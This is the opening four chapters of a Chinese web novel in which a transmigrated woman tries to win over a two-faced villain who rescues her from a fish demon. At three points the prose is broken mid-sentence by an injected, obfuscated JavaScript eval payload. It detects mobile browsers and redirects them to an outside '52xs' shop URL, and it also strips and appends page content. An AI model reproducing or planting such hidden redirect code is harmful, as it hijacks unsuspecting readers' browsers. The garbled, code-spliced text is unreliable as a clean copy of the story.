《攻略阴湿反派失败后》 1. 他揽住她的后背 “所以说,殷逐白还来不来了。” 崔若盈忍不住在心里嘀咕起来。 天色渐渐暗了下去,泠泠月光顺着最上方狭窄的洞口落入洞里,在水面上掠起一阵银色波光。 崔若盈在水洞里泡了一天,手脚都开始发麻。 她后退一步,踉跄着靠上冰冷的洞壁,眼珠动了动,想缓解一下眼睛的干涩感。 她已经快两个小时没眨眼了。 洞壁上爬满了藤蔓,藤蔓上则是点缀着一些散发着柔和微光的小花。 崔若盈向后一退,正好有一朵小花垂在她肩膀上,照得她面色惨白,一脸死气,也让她的眼睛愈发刺痛。 一只手向后摸去,摸上了后腰别着的短刀,崔若盈心里稍微安定了一些。 她别开眼,看着面前的家伙。 那是一只未化形完全的鱼妖。 鱼的脑袋,人的身子,还有一双鼓鼓的金鱼眼,眼中散发着智慧的光芒,看起来不太聪明的亚子。 这就是《除灵伏妖录》里的小boss:鱼大。 虽说是小boss,智商也不太够,但鱼大实力十分强大,差点团灭男女主,要不是殷逐白及时赶到,两人就要死在这里了。 ——而殷逐白,却是这本书里的一个大boss。 同时也是崔若盈的攻略对象。 意外被排斥出原世界后,崔若盈加入了时空委托公司。 只要完成任务,她就能获得能量,重新构建回到原世界的通道。 为了回家,她勤勤恳恳工作,眼看着马上就能攒够回家的路费,原世界却开始以极快的速度封闭。 若是不能在它彻底封闭之前赶回去,那就算她有再多的能量,也无法构建通道了。 于是,向来谨慎的崔若盈决定冒一次险,选择一个高风险高收益的任务——攻略反派。 殷逐白就是《除灵伏妖录》里的反派。 表面上看,他是除妖师世家殷家的家主,为人如光风霁月般磊落,是男女主的好友兼救命恩人。 可实际上,没人知道殷逐白究竟是谁。 几千年来,他带着记忆转世轮回,不断离间着人与妖之间的关系,以挑拨为乐,是操控着世界的幕后黑手。 用三个字概括一下——他是一个阴暗批。 两个月前,崔若盈降落到《除灵伏妖录》的世界,并且制造偶遇加入了男女主。 女主寇言湘性格爽朗,男主祝星游虽沉默寡言,但也很单纯。 这两人毫无防人之心,原著里就被披了羊皮的殷逐白耍得团团转。 崔若盈很快就和这两人混熟了,还成了寇言湘的义妹。 现在,剧情已经发展到了一个关键的节点。 原著中,寇言湘和祝星游被一个老太婆所骗,中毒后掉进了一个满是水的山洞。 就是崔若盈现在在的这个山洞。 中毒后虚弱的男女主打不过强壮的鱼大,命悬一线之际,是殷逐白突然出现,将两人救了出来。 自此,男女主对他信任有加,被殷逐白玩弄于股掌之间,直到后期才识破他的真面目,为此,他们也付出了沉重的代价。 当然,那些都是后来的事了。 抛开别的不谈,崔若盈觉得,英雄救美是一个不错的攻略切入点。 所以,在那个老太婆想把中毒的男女主推进山洞的时候,崔若盈代替他们掉进了水洞,独自对上了鱼大。 她敢这么冒险,主要有两个原因。 一个是她有保命的手段,不至于死在这里; 二就是,原著里殷逐白来得很快,男女主就在水里待了不到两个小时就被救上去了。 两个小时。崔若盈寻思自己应该能撑过两个小时。 于是,她在水里满怀期待地等着,等着,从烈日当空等到月上中天,等了足足五个多小时,结果连殷逐白这厮的影子都没见到。 别说殷逐白,连去搬救兵的男女主都不知道跑哪里去了,五个小时,等了个寂寞。 崔若盈无奈地扯了扯嘴角,眼珠又动了动。 而在她对面,鱼大正在恶狠狠地盯着她的眼睛。 他的眼珠本来就已经够鼓了,现在双眼睁大用力盯着她,而是显得那双眼睛鼓得几乎要从眼眶里脱离出来。 它在看崔若盈有没有眨眼。 这是崔若盈为了糊弄鱼大,想出来的权宜之计。 鱼大智商不高,于是她用激将法激他和她比试,而比试的内容就是——“看谁能更久不眨眼睛” 当然,赢的只可能是鱼大。 他的脖子上顶着个鱼头,而鱼,是没有眼皮,也从来不眨眼的。 不过崔若盈的目的从来不是赢。她只是想拖延时间,等着殷逐白英雄救美罢了。 以鱼大胎教肄业的智力水平,显然无法意识到她的真正意图,于是它兴致勃勃地答应了。 崔若盈就靠和鱼大大眼瞪小眼,拖延了几个小时。 可惜,她完全没预料到,殷逐白没来。 眼珠传来阵阵刺痒感,崔若盈转了转眼珠。 距离上一次骗鱼大移开视线趁机眨眼已经过去十几分钟了。 她该想想,怎么再骗它一次。 正盘算着,脑海里突然传来【叮】的一声。 崔若盈一愣,下一刻,系统毫无波澜的机械音响起。 【殷逐白对您的好感度下降了】 什么?殷逐白的好感度下降了? 为什么? 不对……殷逐白现在已经来了? 崔若盈反应过来,视线不自觉地移向上方的洞口。 清澄月色穿过三尺见方的洞口,悄然涌动。借着耿耿月光,她看到一个人影正站在山洞边上。 天色太暗,她看不见那人的相貌,只看得见他一片衣角。 衣角是金色的,在夜幕下如同下泄的朝阳一样耀眼。 殷逐白!! 崔若盈心念一动。 正在这时,鱼大突然兴奋地嚷嚷起来,打断了她的思绪:“本大鱼看见了!你眨眼了!!” 糟糕! 她刚刚想着殷逐白想得太入神,居然下意识眨了一下眼! 崔若盈心道不妙。正当她想着该如何稳住鱼大时,上面的人也说话了。 “下面的,可是崔姑娘?” 他的声音轻盈,像是冬日微风卷起的雪雾,随着月光洒落进山洞之中,带起凉凉的回声。 鱼大这才注意到上面有人来了。 他放弃了立刻攻击崔若盈的想法,警惕地抬头看着上面。 崔若盈看到那片金色的衣角动了一下,挡住了一小片月光,洞穴再度填满了独属于夜晚的黑暗。 殷逐白似乎在看她。 “寇姑娘和祝公子拜托在下来救你。崔姑娘可需要帮助?” 寇言湘和祝星游? 是了。 这两人是去搬救兵了。 崔若盈微微松了一口气。 她张了张嘴,想要说些什么,但话到嘴边转了一圈,又被她咽了下去。 立刻开口求助,会不会显得太急躁了? 她本来的打算,是在第一面时给殷逐白留下个好印象。 现在好印象没有,殷逐白还莫名其妙地扣了好感度。 要是不能做出什么补救,以后想攻略可就难了。 想到这里,崔若盈眼神一动,装出一种“虽然害怕但鼓足勇气”的模样。 “这位公子,这里太危险了,你先走吧,别管我了!” 殷逐白也愣了一下。 几秒的沉默过后,他的语气变得更温和、更轻柔。 任谁听到了他的声音,都会对他产生朦胧的好感。殷逐白就是这样一个容易让人心生亲近的人。 不过,他嘴里说出的话,却远不如他的声音动听。 “既然崔姑娘这么说,那在下就先走了。” 崔若盈:“……”啊? 不是哥们,和你客套一下你还当真了啊? 不对!殷逐白心眼儿多着呢,绝对不是别人说什么他就做什么的人。 这家伙,从一开始就没想救她! 崔若盈抬着头,哑口无言地看着小小的洞口。 她看不到殷逐白的表情,但她想,此刻殷逐白的脸上,一定挂上了阴冷的微笑。 那片衣角随风摇摆着,而后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640466|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不留恋地向后退去,仿佛一只在夜风中飞舞的金色蝴蝶。 忽地,他像是想到了什么,向后的动作停顿了一瞬,那金色的衣角就又回到了崔若盈的视野中。 恍惚间,她听到一声轻笑。 “崔姑娘聪慧过人,能拖延这么长时间。我相信,你一定能坚持到有人来救你的。崔姑娘保重。” 坏了! 崔若盈心里“咯噔”一声,几乎是下意识地侧过头看向鱼大。 果然,鱼大正恶狠狠地盯着她,两只鱼眼中闪过猩红的光,气得皮都皱起来了。 “臭丫头,原来你一直在拖延时间!” 鱼大脑子虽然缺根筋,但也不是傻子,殷逐白这么一说,他立刻就明白自己被耍了。 “胆敢骗本大鱼,本大鱼饶不了你!!” 崔若盈瞳孔猛然一缩,身体以极快的速度朝旁边一闪。 水面被剧烈的动作搅动,发出哗啦啦的水声,而后便是轰隆一声巨响。 随着声音响起,崔若盈只觉得整个山洞都猛烈地震动起来。 几片碎石擦着她的脸颊落入水面,被碎石划破的皮肤火辣辣地疼,小腿也不小心撞到了岩壁,疼得她直冒冷汗。 她却没时间管这点小伤,灵活地闪到一边,戒备地看向自己刚才站着的地方。 那条笨鱼就站在那里。 他的拳头深深地嵌入岩壁,将坚硬的岩石砸出蛛网状的大坑。 崔若盈猛喘一口气,心中一阵后怕。 幸好她及时闪开了。 这一拳砸在她身上,她连个全尸都未必能留下。 鱼大见一击不成,更是生气。 他一张鱼脸都要气肿了,鱼眼越发鼓胀,毫不犹豫地提起拳头,双脚蓄力,就朝着崔若盈冲过来。 崔若盈道:“等、等一下!” “哼!休想再骗本大鱼!” 崔若盈忙不迭躲开,心里暗骂一声。 殷逐白,他有病吧! 不救就不救,把她的盘算说出来干什么? 现在可好,这条笨鱼无论如何也不肯听她的话了! 她只能和他硬碰硬,看看能否寻得一线生机。 脑海中闪过万千思绪,顷刻之间,只听一道风声,然后就见一道灰色的影子“咻”地掠过水面,径直朝着她的身体撞来。 他的速度极快,崔若盈几乎只能看到一道残影。她神色一变,以最快的速度向旁边掠去,可还是晚了一步。 鱼大的拳头擦过她的手臂,拳风擦过她的皮肤,猛然爆裂开来。 崔若盈只觉得身体一轻,被拳风冲击,失控地朝着身后飞去。 在她身后,是冰冷的黑色岩壁,岩壁上攀着的几朵小花悄然吐露芬芳。 这要是撞上去,她多少得撞出来个内伤! 崔若盈深吸一口气,试图稳住身体。 可鱼大的力量太大,她一时间无法控制自己的动作,只好闭上眼,尽量护住要害部位,以将伤害降到最低。 可预料之中的疼痛迟迟未到。 千钧一发间,一只手从旁边伸出来,揽住了崔若盈的腰部。 她没有撞上岩壁,而是顺着那股力道,跌入一个带着暗香的怀抱之中。 那是一种古朴的熏香味道,香味很淡,轻轻涌入她的鼻腔中,又迅速消弭于无形。 崔若盈猛地睁开眼。 当先映入眼帘的,是金色带着绣纹的衣裳。顺着衣裳向上看,她才看到来人的侧脸。 那是一个相貌美丽的青年。 除了美丽,崔若盈也实在找不到什么更贴切的形容词了。 青年一头乌黑长发被金冠规整束起,但仍有几缕散乱的发丝从鬓边垂下,随风飘舞,与黑暗融为一体。 可他的皮肤却很苍白,像是夜幕下的白雪,在月光的映照下闪烁着冷冷的光辉。 似乎注意到她的视线,青年的眼珠倏然一转,目光随之落到她的脸上。 那双眼瞳是灰色的,眼波流动之间,却溢出铅灰色的夜空似的微光。 在那一刹那,崔若盈完全没有得救的喜悦,只觉一股阴冷感顺着他揽着她的那只手,悄然爬上她的脊背。 2. 崔姑娘,擦一擦吧 既然她找死,那就成全她。 殷逐白如是想道。 鲜血顺着雪亮的剑锋向下滑落,最后无声地落在茂盛的草丛中,像是嫩绿草叶上开出的暗红色小花。 明月清幽的冷光落在剑上,在草地上投下雪亮的剑影,只是剑锋残余的血打破了这份冷清,让月光也染上了几分杀意。 微风吹过,一滴血轻飘飘地溅在殷逐白的靴子上,在上面留下一个小小的血点。 殷逐白轻轻地皱起眉。 他凝视着那滴血,而后视线顺着在鞋尖上绽放的血迹,缓缓移到一旁的草丛中。 那里躺着一具尸体。 是个头发花白的老太婆的尸体。 她仰躺在草丛中,心口处绽开血花,浑浊的双眼圆睁,眼珠却早已失去了光彩,脸上还残留着未曾褪去的惊恐。 破坏他布置的人该死,而没完成命令的棋子,也没有继续存在的价值。 殷逐白漠然转身,抖落剑上的血,将剑收入剑鞘。 他心情并不好。 他精心为寇言湘和祝星游布下的陷阱,就这样被一个不知从哪里来的女人破坏了。 虽然没了陷阱,他照样可以取信于人,但原本好好的计划被打乱,还是让殷逐白心中蒙上了几丝阴霾。 况且……那个女人,有点不对。 想到崔若盈的脸,殷逐白蹙起眉,眉宇间闪过一抹异样神色。 说不出哪里不对。 沉吟片刻,殷逐白还是回过身,借着月光望向远处。 那是山洞所在的位置。 那个破坏他计划的崔若盈,此时就被困在山洞之中。 崔若盈。 他缓缓念着这个名字。 直觉告诉他,他最好亲眼看着崔若盈死。 所以——他回来了。 殷逐白伫立在水面上,侧眸看着怀中的崔若盈。 许是在水里泡太久了,她的脸色白得近乎透明,隔着一层皮肤,甚至能看到下面青紫色的血管。 黑发湿漉漉地粘在她的脸侧,水滴顺着她的头发滴落,崔若盈惊魂未定,好像还没反应过来。 几滴水落在他的袖子上,沾湿了他的衣服,带来些许凉意。 殷逐白不着痕迹地皱了皱眉,收回了手臂,轻声询问道:“崔姑娘,你还好吗?” 崔若盈回过神,收敛了脸上的慌乱。 她不能表现出一丝一毫的害怕,不然战战兢兢的,还怎么给反派留下好印象? 因此,就算心里不安,但崔若盈还是露出了一个笑容,不动声色地向右挪了一小步,然后对殷逐白道谢。 “多谢这位公子相救,我没事。” 停顿了一下,又好奇道:“公子怎么回来了?我还以为你已经离开了呢。” 殷逐白垂下眼帘看着她,纤长浓密的睫毛挡住了他眼中的光芒。 “抱歉,崔姑娘。”他语带歉意,轻轻地说道,“我只是和你开个玩笑,并没有想过丢下你。” 崔若盈:“……”你最好是这样想的。 殷逐白的话,是一个标点符号都不能信。 他刚才绝对不是开玩笑,或者是良心发现回来救她。 这家伙就是想让她死,只是不知出于什么考虑,他又折返回来了而已。 不过心里虽然这么想,崔若盈脸上却没有表露出分毫,反而忧愁道: “公子不该下来的。这山洞被下了禁制,只有打败这只鱼怪才能上去,可这鱼怪实力太强……是我连累了你。” 殷逐白一直侧头看着她。 当注意到她脸上的担忧神色时,他眼眸闪了闪,慢条斯理道:“是我主动下来的,何来连累一说?况且……” 他的声音缓缓飘散在风中,激起一阵空灵的回声。殷逐白抬起头,目光轻飘飘地穿越水面,落到了鱼大的身上。 鱼大站在水中,警惕地看着两人。 这个山洞是他的领域,然而他完全不知道,这个男人是什么时候进来的。光这一点,就足以让他不敢轻举妄动。 这种警觉无关智商,而是出于生物的本能。 殷逐白用温柔的语气,说出了后半句话。 “况且……不过是只笨鱼罢了。” “什么?!” 鱼大勃然大怒。 “你竟敢说本大鱼是笨鱼?!” 都说龙有逆鳞,其实鱼也有逆鳞。鱼大这条笨鱼的逆鳞,就是他那不可说的智商。 鱼大生平,最恨别人说他蠢笨。 听到殷逐白就这么光明正大地嘲讽他,哪还忍得住? 鱼大当即挥着沙包大的拳头,双脚一蹬,朝着殷逐白冲过来,粗暴的动作溅起一片水花。 “崔姑娘。”见鱼大要发飙,殷逐白轻声提醒,“后退一点。” “啊?可是公子你……” 殷逐白平静道:“崔姑娘,我不想让血溅到你的脸上。” 话音未落,鱼大的身影已经出现在殷逐白面前! 崔若盈瞳孔微缩,几乎下意识地想要抽出腰后短刀对敌,可手刚摸过去,她的动作又停顿了一下。 就在她停顿的这一瞬间,殷逐白已经先一步抽出了他的剑。 他的剑很薄,像是一层薄薄的纸,随着他的动作翻飞舞动。 月光落在他的脸上、他的剑上,那把剑泛着凛凛寒光,凝成一道白虹,朝着鱼大斩去。刹那之间,剑光缭乱,洞穴中仿佛下了一场银色的雨。 下一刻,这剑雨就染上了属于鲜血的猩红颜色。 明亮剑雨落在鱼大的身上,只在瞬息间,它的身体就被斩成无数均匀的肉块,相继落入水中。 两滴血珠越过殷逐白的身体,飞溅到崔若盈的脸上,又顺着她的脸颊流下。 血腥味在洞穴之中弥漫,混杂着放光小花的花香,形成一股古怪的味道,钻入她的鼻腔。 几秒后,周围重新安静下来,只有偶尔才能听到两声水声。 剑锋划过剑鞘的摩擦声打破了寂静。殷逐白慢悠悠地收起剑,这才转过身,看着崔若盈。 崔若盈站在几簇白色小花下,皮肤散发出淡如月晕的光晕,飞溅的血珠让这惨淡的画面多了一抹冷厉的红。 她似乎有些意外,但神色却很冷静,冷静得不可思议。 果然……这个崔若盈,没有看上去那么愚笨胆小。 殷逐白踩着水面,在荡漾的涟漪中走到她的面前。 崔若盈的眼中映出他的倒影。她的眼睛,倒是比这洞穴中的水要清晰得多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640467|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了一会儿,她才像是刚反应过来一样,垂下眼帘,小声道:“多谢公子相救。” 说话时,崔若盈用余光关注着殷逐白的脚步。 绣了精致图样的衣摆在月光中晃动,在水面上映出点点金色光芒,在他脚下,水波一层一层地漾开,于是那金光也被搅得破碎。 崔若盈抿了抿唇。 她注意到,殷逐白的鞋子上有一点铜钱孔那么大的血迹,那血迹颜色略深,不像是刚刚溅上去的。 殷逐白就带着那点血迹,正缓慢地朝她走来。 一步,两步。 终于,殷逐白停下了。 他停在了距离她只有一步之遥的地方。 这距离不远不近,正好够他一剑把她捅个对穿。 然后,他抬起了右手,摸向了腰间。 手是刚握着剑的手,腰间则是悬着刚杀过人的剑。 要动手了吗?真是,毫不意外。 崔若盈心中微冷。 她眼睫动了动,正要抬起眼,却忽见殷逐白那只修长的手直接掠过剑柄,从腰间解下一方手帕。 “崔姑娘。” 青年把手帕递到她面前,声音像是羽毛一样落下来。 “你的脸脏了。不嫌弃的话,先擦一擦吧。” 崔若盈下意识地摸了下脸,却摸到了一指尖的血。 见状,殷逐白又把手帕往前递了递。 一阵风吹来,手帕上的熏香味道钻入她的鼻腔中,味道有些浓郁,但奇异地并不呛人。 崔若盈怔了一下,小心地接过手帕。 “谢谢你,这位公子。” 虽然不知道反派是怎么想的,但这,大概算是个不错的开头吧? “不用谢。说起来,我应该让崔姑娘再躲远一点的,这样血就不会溅到你身上了。” 殷逐白说道。 他说话的时候自带一种奇异又优雅的腔调,慢条斯理,却又不惹人厌烦。 即使崔若盈知道他的真面目,听了他的话,也只觉得他温柔亲切、斯文有礼,长得好看说话还好听。 怪不得原著中男女主被他骗得团团转,这换了谁,谁不迷糊。 崔若盈攥了攥拳,暗自提醒自己不要上反派的当。 “是我自己动作慢了……对了,这位公子,你说是寇姐姐和祝大哥拜托你来救我?他们怎么样了,有没有危险?” 当然,崔若盈知道男女主不可能在这时候出事。而且那个老太婆给他们下的毒,也不过是普通的迷药罢了。 之所以这么问,主要还是想巩固一下自己“小太阳”的人设。 “他们没事,现在在殷家等你呢。” 崔若盈装出一副迟疑的样子:“……殷家?” “没错。” 崔若盈这才转动眼珠:“那,公子你是?” “差点忘记了,我还没自我介绍呢。” 殷逐白深深地凝望着她。几息后,他露出一个温良的微笑。 “在下殷逐白。” 他从容地说道。 “是除妖师世家殷家的第七十一任家主。” ——同时也是一个热衷于在世界各地搅风搅雨的阴湿反派。 崔若盈自动替他补全了后面的一句话。 3. 他收紧掌心 “这里是殷家管辖的区域,寇姑娘和祝公子求救时,正好碰上我殷家的弟子。” 殷逐白温声解释道。 “辖地内出现了伤人的妖物,是我的失职,为了避免出现伤亡,我就亲自出来查看情况了,幸好崔姑娘你没出事,不然……” 他适时垂下眼帘。 “不然,我万死难辞其咎。” 崔若盈道:“殷家主不要自责了,你来得很及时,我一点儿事都没有。对了。” 她好像突然想起了什么。 “殷家主在外面,有没有见到一个老,老人家?” 她本来想说“老太婆”,但考虑到自己目前的人设,还是换了个温和的说法。 殷逐白目光闪动:“老人家?” “没错,就是她与这鱼怪勾结,想把我们推下山洞。” 殷逐白做出思索的样子:“我来的时候没遇到什么老人家。” “那看来,她是逃跑了。” 崔若盈看了看殷逐白,又连忙补充了一句。 “殷家主不要误会,我不是想责怪你。只是那老人家心思不正,我担心还有其他无辜的人被她害了。” 殷逐白道:“崔姑娘放心,我会让殷家的除妖师展开搜捕,不会让她逍遥法外的。” “嗯!” 崔若盈露出一个笑容,余光却仿若不经意地扫过殷逐白鞋尖上那块醒目的血渍。 她想,殷家的搜捕不会有什么结果了。 不出意外的话,那老太婆已经死在殷逐白手上了。 不过话又说回来,殷逐白为什么要杀那老太婆? 是正好碰上了,还是说,打从一开始,那老太婆就是殷逐白安排的? 那她岂不是误打误撞破坏了殷逐白的计划? 怪不得殷逐白降了好感度,还想杀她……早知道,就不改这个剧情点了。 不过现在后悔已经晚了,她只能尽量想办法把殷逐白的好感度加回来了。 “崔姑娘。”殷逐白的声音唤回她的思绪,“这里不是说话的地方,我们先上去吧。你的腿没事吧?” 刚刚闪避鱼大攻击时,崔若盈的小腿重重撞上了一块凸出的石头。 只是当时情况危急,为了保住小命,她也顾不上疼痛。 此时殷逐白这么一说,她才觉得右腿一阵刺痛,疼得她的右腿都快没知觉了。 不用想,磕到的地方肯定青了一大片。 “没什么大事。”崔若盈动了动右腿,有些不确定,“应该,不耽误行动?” 殷逐白无奈地叹了一声:“……崔姑娘。” 崔若盈疑惑地歪了歪头。 “殷家主?” “你有伤在身,就不要硬撑了。”殷逐白笑了笑,“崔姑娘,把手给我,我带你上去。” 说着,一只骨节分明的手就伸到了崔若盈面前。 为了避免崔若盈尴尬不适,他还特意用袖子包裹住了大半个手掌,只露出修长苍白的指尖。 崔若盈盯着那只手,几秒后,她露出一个笑容,把右手轻柔地放在他的掌心。 隔着一层柔软的布料,两人的手并没有触碰到一起。不过,崔若盈仍旧能感受到他的体温。 冰冷的体温,比满含杀意的月光,还要冷上那么几分。 崔若盈打了个寒颤,脸上却挂上了明媚的笑。 “麻烦你啦,殷家主。” 殷逐白看着她的手,轻轻笑了一声。 然后他收紧手掌,就像蛇收紧身体,紧紧地捆住它的猎物,用鳞片一寸一寸碾碎猎物的骨骼,直至猎物窒息身亡。 随着他的动作,落在外面的指尖就这样扣在她手掌的边缘。 他的指尖,也如蛇类的鳞片一样冷。 可殷逐白的声音,却是与他体温截然相反的温和。 “冒犯了,崔姑娘。” 话音未落,崔若盈只觉得天旋地转,好像有一股巨力正在拉扯着自己。 眼前的景色骤然一变,从长满小花的幽暗洞穴,变成了一片茂密的草丛。 微风吹过,草丛轻轻摇曳着,嫩绿色的草叶被天边的月光染上一抹圣洁的银白光辉。 双脚骤然落在地面,一阵恍惚感随之袭来,崔若盈一时有些站立不稳。 站在她身边的殷逐白顺势拉了她一把,关切问道:“崔姑娘,没事吧?” “我没事,可能是在水里泡得有些久了。” 崔若盈回了一句,站稳身体,这才意识到自己的手还被殷逐白握着,不由得有些迟疑。 她倒不是很在意这个。 如果让殷逐白握一下她的手就能涨一点好感度,那她愿意让殷逐白握上几天几夜。 不过,一直任由他握着,殷逐白会不会觉得她很随便? 但要是主动提出来,殷逐白说不定会降好感度。 现在好感度已经负了,崔若盈可不想再给自己的攻略任务上难度。 幸好,殷逐白也很快反应过来,放开了她的手。 “殷家的支援已经在路上了,很快就到。崔姑娘和我回殷家吧,寇姑娘和祝公子他们也在等你。” 崔若盈想了想,点点头:“好,麻烦你了,殷家主。” 殷逐白微微一笑:“不必言谢。” 正如他所说的那样。没过多久,草丛中一阵尘土飞扬。忙乱的马蹄声响起,一队除妖师的身影出现在官道的尽头。 正是殷家的人。 这些人也很快发现了站在一边的两人,便勒马停在一侧,翻身下马,对殷逐白躬身行礼。 “家主。” “崔姑娘,这就是我殷家的人了。” 殷逐白抬手止住他们行礼的动作,轻声对崔若盈介绍了一句,又看向殷家众人。 “这是崔若盈崔姑娘,她受了伤,腿脚有些不便。” 一名女性除妖师上前:“家主,让属下带着崔姑娘吧。” 殷逐白也侧过身,头上的金冠在月光的照着下,散发出幽幽的光。 “崔姑娘,可以吗?” 崔若盈没有犹豫:“可以,拜托这位姐姐了!” 女除妖师被她的小太阳人设给打动,目光也变得更友好了几分:“崔姑娘客气,请跟我来吧。” 众人齐齐上了马,在月光下排成一队,朝着殷家的方向驰骋而去。 殷逐白身为家主,自然在队伍的最前端。 而女除妖师顾忌着崔若盈的伤,骑得比较慢,就落到了队伍最后头。 路上,两人小声聊了起来。 崔若盈本来就善于和人打交道,现在有意结交,没几分钟,她和那名除妖师就熟悉了起来。 “是我们家主救了崔姑娘?” “是呀,要不是殷家主,我现在恐怕已经死了呢。” 崔若盈眸光闪烁。 “没想到殷家主这么年轻,就是一家之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640468|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主了。” 当然,崔若盈说这话,可不是想吹捧殷逐白。 《除灵伏妖录》中对殷逐白的过往描述并不详细,只一笔带过了。崔若盈进到小世界之后,也没得到更多有用的消息。 她想趁机打探些消息,好为之后的攻略做准备。 除妖师却没察觉到她的意图。听到崔若盈的话,她轻轻笑了起来,语气略带骄傲。 “崔姑娘有所不知,家主继承家主之位的时候,才十一岁。” “这么早?” “是呀。”除妖师感慨道,“当年几位族老野心勃勃,勾结了妖族,杀害了老家主和许多除妖师。是家主临危受命,清剿了这些叛徒。” 说着,又摇头道:“那都是十五年前的事了。要不是有家主,殷家就要落入那些虫豸之手了。” 崔若盈默了一默。 在她看来,殷家这群人纯属被卖了还替殷逐白数钱。 什么勾结妖族,什么叛乱,九成九是殷逐白挑拨引诱的。 这家伙借乱党之手除去老家主,自己再以救世主的姿态站出来解决乱党,既得了家主之位,又得了殷家除妖师的忠诚。 “没想到殷家还有这么一段往事。” 崔若盈言不由衷。 “殷家主想必也很辛苦吧。” 说话时,她目光下意识地越过殷家的众除妖师,落在了队伍的最前方。 殷逐白就在那里。 他骑着一匹白马,正在官道中驰骋。 夜风吹动他的衣裳,勾勒出他劲瘦挺拔的身形,几根纤长的草叶划过金色衣摆,瞬间也被染上一层熠熠生辉的金光。 似是感觉到了什么,他忽地回头,朝后方瞥了一眼,正好与崔若盈对视。 崔若盈怔了一下,对他笑了笑。殷逐白轻轻颔首示意,而后收回目光。 鬓边的碎发随着他的动作朝后飞舞,张牙舞爪地融入夜色之中,像是黑夜探出了它的触角。 除妖师没发现崔若盈的异样,小声道:“家主日理万机,连自己的事都顾不上,当然是很辛苦的。” 崔若盈应和了一声,不着痕迹地转移了话题。 骏马在官道上飞驰,没过多久,面前就出现了一片建筑。月光下,那片建筑飞扬的檐角闪烁着银色的光华。 众人勒住马匹,纷纷下马。 载着崔若盈的除妖师也跳下马,对崔若盈道:“崔姑娘,这里就是我们殷家的悬玉山庄了。” 崔若盈张了张口,还没说话,殷逐白温和的声音就从右侧传来:“崔姑娘觉得怎么样?” 她惊讶地侧过头,只见殷逐白不知何时走到了她的身边,正微昂着头,含笑等待着她的答案。 他的眼眸亮晶晶的,里面好像有星河在流动,熠熠生辉。 这家伙,是不是表现得有些太殷勤了? 崔若盈心头微动,又看了殷逐白一眼,只见他眉目疏朗,神情如春风般和煦。 她压下心中疑惑,神情自然地回答道:“很气派啊!我还从来没见过这种世家呢。” 崔若盈翻身下马,稳稳地落在地上。 她的右腿还是有些麻木,但已经没有开始那样疼了。 “崔姑娘喜欢就好。”殷逐白道,“现在天色已晚,我让人给你安排住处,崔姑娘就先休息。等明日一早,再和寇姑娘和祝公子见面,好不好?” 崔若盈垂眸微笑:“都听殷家主安排。” 4. 她的喉咙被扼住 崔若盈被带到一处客院住下,殷逐白派来的侍女贴心地给她找来了几套干净的衣裳。 换上干净衣物后,崔若盈让侍女离开,而后熄了灯,躺进被窝里,开始复盘今天的表现。 她先是打开了系统面板,查看殷逐白的好感度。 面板一展开,映入眼帘的,就是一个鲜红的【-9】 崔若盈:“……” 崔若盈无话可说。 她盯着那个数字好一会儿,才反应过来,赶紧问系统。 【系统,殷逐白的好感度怎么这么低?】 系统装死。 当然也可能不是装死,而是真死机了。毕竟崔若盈用的这个系统,是即将被淘汰的老年机了。 偶尔卡机、死机,或者出现小故障,那都不算什么,崔若盈也从没想过要换掉它。 原因很简单——因为老年机反应迟钝,所以她每次上交能量的时候,都能卡bug截留下来一些,中饱私囊。 想起实打实的好处,卡机死机什么的小缺点,也不是不能忍。 见老年机未响应,崔若盈摇了摇头,开始查看任务日志。任务日志上会自动记录攻略对象的好感度变化。 打开任务日志,满屏的好感度降低提醒就跳到崔若盈眼前。 再数一数,正好九条。 好感度降低本来应该有提醒,但老年机总是吞消息,崔若盈也见怪不怪了。 事到如今,崔若盈也只能接受反派对自己的好感度即将突破-10大关这一残酷的事实了。 她略有些烦躁地翻了个身,开始思索对策。 首先肯定是要立一个容易让反派喜欢上的人设。 而以崔若盈博览群书的经验来看,阴暗批反派最喜欢的,当然是小太阳女主了。 所以她今天一直把自己的性格往那方面靠。至于效果嘛……不确定,再看看。 除了这些,还有一点让崔若盈有些在意,那就是殷逐白的态度问题。 如果她没猜错的话,殷逐白本来是打算杀她的。 但从下到洞穴里开始,他的态度就有了一百八十度的大转变。 也不知道是出于什么原因…… 想着想着,困意逐渐上涌。 崔若盈在水里泡了大半天,又要应付鱼大,又要在殷逐白面前演戏,早就累得不行。 现在暂时安全了,她脑子里那根绷紧的弦也松了下来,疲惫感也跟着翻腾。 没过多久,崔若盈就将攻略的事抛到脑后,沉沉地睡了过去。 晚风吹过她的房门,传来幽幽的呜咽,院中翠竹的影子映在纸窗格上,随风轻轻摇摆。 